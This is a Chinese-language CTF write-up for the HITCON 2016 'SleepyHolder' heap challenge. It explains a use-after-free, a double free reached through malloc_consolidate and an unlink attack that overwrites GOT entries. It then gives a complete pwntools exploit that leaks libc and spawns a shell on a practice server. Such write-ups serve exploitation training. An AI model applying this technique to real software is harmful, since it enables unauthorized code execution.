sleepyHolder_hitcon_2016
<p>[TOC]</p>
<h1>分析</h1>
<p>主要包含三个操作</p>
<p>keep操作里可以申请一个fastbin、small bin和large bin</p>
<p><img src="https://pic.imgdb.cn/item/63a5befa08b6830163c7e3d3.png" alt="" /> </p>
<p><img src="https://pic.imgdb.cn/item/63a5bf4708b6830163c85a4d.png" alt="" /> </p>
<p><img src="https://pic.imgdb.cn/item/63a5bf6408b6830163c884c7.png" alt="" /> </p>
<p>而wipe里只有smallbin和fastbin的释放操作</p>
<p><img src="https://pic.imgdb.cn/item/63a5bf8b08b6830163c8c50f.png" alt="" /> </p>
<p>这里存在UAF漏洞</p>
<p>renew是对smallbin和fastbin进行写入操作</p>
<p><img src="https://pic.imgdb.cn/item/63a5bfc008b6830163c91c8b.png" alt="" /> </p>
<p>但是会检测标志是否可写,所以考虑使用double free来实现释放后写入</p>
<p>如何构造double free?我们不可以直接之间释放两次fastbin,因为它会检测释放的chunk和fastbin的头chunk是否是同一个,是的话直接报错</p>
<p><img src="https://pic.imgdb.cn/item/63a5c1a708b6830163cc223e.png" alt="" /> </p>
<p>当申请一个small bin的时候,如果smallbin没有初始化,那么就会出发malloc_consolidate将所有的fastbin chunk进行合并,单独放进unsortedbin,同时会设置后一个chunk的inuse标志为0,表示前一个chunk为释放状态,这时候fastbin里就没有那个chunk了,这时候就可以再次释放该chunk形成double free</p>
<p>首先申请一个fastbin和smallbin,smallbin的作用是隔离让fastbin能单独放入unsortedbin中</p>
<pre><code class="language-python">addsmall('aaaa')
addbig('bbbb')
</code></pre>
<p>然后释放fastbin,再申请一个huge chunk,就会导致fastbin合并到unsortedbin中,但又由于这里big chunk的隔离,所以这个unsortedbin chunk只有0x30大小,所以huge chunk只能从top chunk分割,这时候small chunk的inuse标志位会设置为0,因为fastbin归为了unsortedbin,而且这时候small chunk可以再次释放,形成了double free</p>
<p>然后我们需要再申请回small chunk为了在里面伪造fake chunk,让big chunk释放后和它合并产生unlink操作从而修改bss段中的堆指针,修改buf堆指针为free@got,big的堆指针为其他got表,接着修改free@got为puts@plt,再wipe big,就会打印出libc函数地址,利用这个地址计算出system地址填入free@got,最后申请一个big chunk,写入“/bin/sh”,再wipe即可执行system(“/bin/sh”) </p>
<h1>Exploit</h1>
<pre><code>from pwn import*
context.log_level = 'debug'
# o = process('./pwn')
libc = ELF("./libc-2.23.so")
o = remote('node4.buuoj.cn', 25499)
a = lambda x : o.sendlineafter('3. Renew secret\n', str(x))
def addsmall(secret):
a(1)
o.sendlineafter('What secret do you want to keep?\n', '1')
o.sendafter('Tell me your secret: \n', secret)
def addbig(secret):
a(1)
o.sendlineafter('What secret do you want to keep?\n', '2')
o.sendafter('Tell me your secret: \n', secret)
def addhuge(secret):
a(1)
o.sendlineafter('What secret do you want to keep?\n', '3')
o.sendafter('Tell me your secret: \n', secret)
def wipesmall():
a(2)
o.sendlineafter('2. Big secret\n', '1')
def wipebig():
a(2)
o.sendlineafter('2. Big secret\n', '2')
def renewsmall(secret):
a(3)
o.sendlineafter('2. Big secret\n', '1')
o.sendafter('Tell me your secret: \n', secret)
def renewbig(secret):
a(3)
o.sendlineafter('2. Big secret\n', '2')
o.sendafter('Tell me your secret: \n', secret)
bss = 0x6020d0
puts_plt = 0x400760
free_got = 0x602018
# 构造double free
addsmall('aaaa')
addbig('bbbb')
wipesmall()
addhuge('cccc')
wipesmall()
# 伪造chunk,实现unlink
payload = p64(0) + p64(0x21) + p64(bss-0x18) + p64(bss-0x10) + p64(0x20)
addsmall(payload)
wipebig()
# 修改堆指针
payload = p64(0x602068)*3 + p64(free_got) + p32(1)*3
renewsmall(payload)
renewsmall(p64(puts_plt))
wipebig()
malloc_addr = u64(o.recv(6)+"\x00\x00")
libc_base = malloc_addr - 0x84130
log.info(hex(libc_base))
system = libc_base + 0x45390
# 获取shell
renewsmall(p64(system))
addbig("/bin/sh")
wipebig()
o.interactive()
</code></pre>
<p><img src="https://pic.imgdb.cn/item/63a6d48208b68301636503b8.png" alt="" /></p>